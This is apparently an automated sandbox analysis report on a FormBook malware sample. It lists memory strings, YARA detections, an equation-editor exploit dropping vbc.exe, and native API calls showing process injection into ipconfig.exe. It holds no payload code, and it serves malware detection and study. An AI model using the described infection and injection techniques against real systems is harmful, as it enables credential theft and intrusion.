Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2181679428.00000000039F4000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000002.2375810590.0000000000260000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2182158267.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&amp;Version=2008-06-26&amp;Operation
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://z.about.com/m/a08.ico

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_004054B2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004054B2

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winlog[1] Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 5_2_004181C0 NtCreateFile, 5_2_004181C0
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418270 NtReadFile, 5_2_00418270
Source: C:\Users\Public\vbc.exe Code function: 5_2_004182F0 NtClose, 5_2_004182F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_004183A0 NtAllocateVirtualMemory, 5_2_004183A0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041817A NtCreateFile, 5_2_0041817A
Source: C:\Users\Public\vbc.exe Code function: 5_2_004181BA NtCreateFile, 5_2_004181BA
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041826A NtReadFile, 5_2_0041826A
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D00C4 NtCreateFile,LdrInitializeThunk, 5_2_008D00C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D0048 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_008D0048
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D0078 NtResumeThread,LdrInitializeThunk, 5_2_008D0078
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D07AC NtCreateMutant,LdrInitializeThunk, 5_2_008D07AC
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CF9F0 NtClose,LdrInitializeThunk, 5_2_008CF9F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CF900 NtReadFile,LdrInitializeThunk, 5_2_008CF900
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_008CFAD0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFAE8 NtQueryInformationProcess,LdrInitializeThunk, 5_2_008CFAE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFBB8 NtQueryInformationToken,LdrInitializeThunk, 5_2_008CFBB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFB68 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_008CFB68
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFC90 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_008CFC90
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFC60 NtMapViewOfSection,LdrInitializeThunk, 5_2_008CFC60
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFD8C NtDelayExecution,LdrInitializeThunk, 5_2_008CFD8C
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFDC0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_008CFDC0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFEA0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_008CFEA0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_008CFED0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFFB4 NtCreateSection,LdrInitializeThunk, 5_2_008CFFB4
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D10D0 NtOpenProcessToken, 5_2_008D10D0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D0060 NtQuerySection, 5_2_008D0060
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D01D4 NtSetValueKey, 5_2_008D01D4
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D010C NtOpenDirectoryObject, 5_2_008D010C
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D1148 NtOpenThread, 5_2_008D1148
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CF8CC NtWaitForSingleObject, 5_2_008CF8CC
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CF938 NtWriteFile, 5_2_008CF938
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D1930 NtSetContextThread, 5_2_008D1930
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFAB8 NtQueryValueKey, 5_2_008CFAB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFA20 NtQueryInformationFile, 5_2_008CFA20
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFA50 NtEnumerateValueKey, 5_2_008CFA50
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFBE8 NtQueryVirtualMemory, 5_2_008CFBE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFB50 NtCreateKey, 5_2_008CFB50
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFC30 NtOpenProcess, 5_2_008CFC30
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFC48 NtSetInformationFile, 5_2_008CFC48
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D0C40 NtGetContextThread, 5_2_008D0C40
Source: C:\Users\Public\vbc.exe Code function: 5_2_008D1D80 NtSuspendThread, 5_2_008D1D80
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFD5C NtEnumerateKey, 5_2_008CFD5C
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFE24 NtWriteVirtualMemory, 5_2_008CFE24
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFFFC NtCreateProcessEx, 5_2_008CFFFC
Source: C:\Users\Public\vbc.exe Code function: 5_2_008CFF34 NtQueueApcThread, 5_2_008CFF34
Source: C:\Users\Public\vbc.exe Code function: 5_1_004181C0 NtCreateFile, 5_1_004181C0
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418270 NtReadFile, 5_1_00418270
Source: C:\Users\Public\vbc.exe Code function: 5_1_004182F0 NtClose, 5_1_004182F0
Source: C:\Users\Public\vbc.exe Code function: 5_1_004183A0 NtAllocateVirtualMemory, 5_1_004183A0
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041817A NtCreateFile, 5_1_0041817A
Source: C:\Users\Public\vbc.exe Code function: 5_1_004181BA NtCreateFile, 5_1_004181BA
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041826A NtReadFile, 5_1_0041826A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B00C4 NtCreateFile,LdrInitializeThunk, 7_2_020B00C4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B07AC NtCreateMutant,LdrInitializeThunk, 7_2_020B07AC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_020AFAE8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFB50 NtCreateKey,LdrInitializeThunk, 7_2_020AFB50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_020AFB68
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_020AFBB8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AF900 NtReadFile,LdrInitializeThunk, 7_2_020AF900
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AF9F0 NtClose,LdrInitializeThunk, 7_2_020AF9F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_020AFED0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFFB4 NtCreateSection,LdrInitializeThunk, 7_2_020AFFB4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_020AFC60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFD8C NtDelayExecution,LdrInitializeThunk, 7_2_020AFD8C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_020AFDC0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B0048 NtProtectVirtualMemory, 7_2_020B0048
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B0060 NtQuerySection, 7_2_020B0060
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B0078 NtResumeThread, 7_2_020B0078
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B10D0 NtOpenProcessToken, 7_2_020B10D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B010C NtOpenDirectoryObject, 7_2_020B010C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B1148 NtOpenThread, 7_2_020B1148
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B01D4 NtSetValueKey, 7_2_020B01D4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFA20 NtQueryInformationFile, 7_2_020AFA20
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFA50 NtEnumerateValueKey, 7_2_020AFA50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFAB8 NtQueryValueKey, 7_2_020AFAB8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFAD0 NtAllocateVirtualMemory, 7_2_020AFAD0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFBE8 NtQueryVirtualMemory, 7_2_020AFBE8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AF8CC NtWaitForSingleObject, 7_2_020AF8CC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AF938 NtWriteFile, 7_2_020AF938
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B1930 NtSetContextThread, 7_2_020B1930
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFE24 NtWriteVirtualMemory, 7_2_020AFE24
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFEA0 NtReadVirtualMemory, 7_2_020AFEA0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFF34 NtQueueApcThread, 7_2_020AFF34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFFFC NtCreateProcessEx, 7_2_020AFFFC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFC30 NtOpenProcess, 7_2_020AFC30
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFC48 NtSetInformationFile, 7_2_020AFC48
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B0C40 NtGetContextThread, 7_2_020B0C40
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFC90 NtUnmapViewOfSection, 7_2_020AFC90
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020AFD5C NtEnumerateKey, 7_2_020AFD5C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020B1D80 NtSuspendThread, 7_2_020B1D80
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_000981C0 NtCreateFile, 7_2_000981C0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00098270 NtReadFile, 7_2_00098270
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_000982F0 NtClose, 7_2_000982F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009817A NtCreateFile, 7_2_0009817A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_000981BA NtCreateFile, 7_2_000981BA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009826A NtReadFile, 7_2_0009826A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E4632E NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose, 7_2_01E4632E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E467C7 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread, 7_2_01E467C7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E46332 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 7_2_01E46332
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E467C2 NtQueryInformationProcess, 7_2_01E467C2
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403486 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403486
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_00407272 4_2_00407272
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406A9B 4_2_00406A9B
Source: C:\Users\Public\vbc.exe Code function: 4_2_72E31A98 4_2_72E31A98
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B808 5_2_0041B808
Source: C:\Users\Public\vbc.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041A2AA 5_2_0041A2AA
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BBA8 5_2_0041BBA8
Source: C:\Users\Public\vbc.exe Code function: 5_2_00408C60 5_2_00408C60
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BD28 5_2_0041BD28
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402D8E 5_2_00402D8E
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C785 5_2_0041C785
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008DE0C6 5_2_008DE0C6
Source: C:\Users\Public\vbc.exe Code function: 5_2_0090D005 5_2_0090D005
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E3040 5_2_008E3040
Source: C:\Users\Public\vbc.exe Code function: 5_2_008F905A 5_2_008F905A
Source: C:\Users\Public\vbc.exe Code function: 5_2_0095D06D 5_2_0095D06D
Source: C:\Users\Public\vbc.exe Code function: 5_2_008DE2E9 5_2_008DE2E9
Source: C:\Users\Public\vbc.exe Code function: 5_2_00981238 5_2_00981238
Source: C:\Users\Public\vbc.exe Code function: 5_2_009863BF 5_2_009863BF
Source: C:\Users\Public\vbc.exe Code function: 5_2_008DF3CF 5_2_008DF3CF
Source: C:\Users\Public\vbc.exe Code function: 5_2_009063DB 5_2_009063DB
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E2305 5_2_008E2305
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E7353 5_2_008E7353
Source: C:\Users\Public\vbc.exe Code function: 5_2_0092A37B 5_2_0092A37B
Source: C:\Users\Public\vbc.exe Code function: 5_2_008F1489 5_2_008F1489
Source: C:\Users\Public\vbc.exe Code function: 5_2_00915485 5_2_00915485
Source: C:\Users\Public\vbc.exe Code function: 5_2_0096443E 5_2_0096443E
Source: C:\Users\Public\vbc.exe Code function: 5_2_0091D47D 5_2_0091D47D
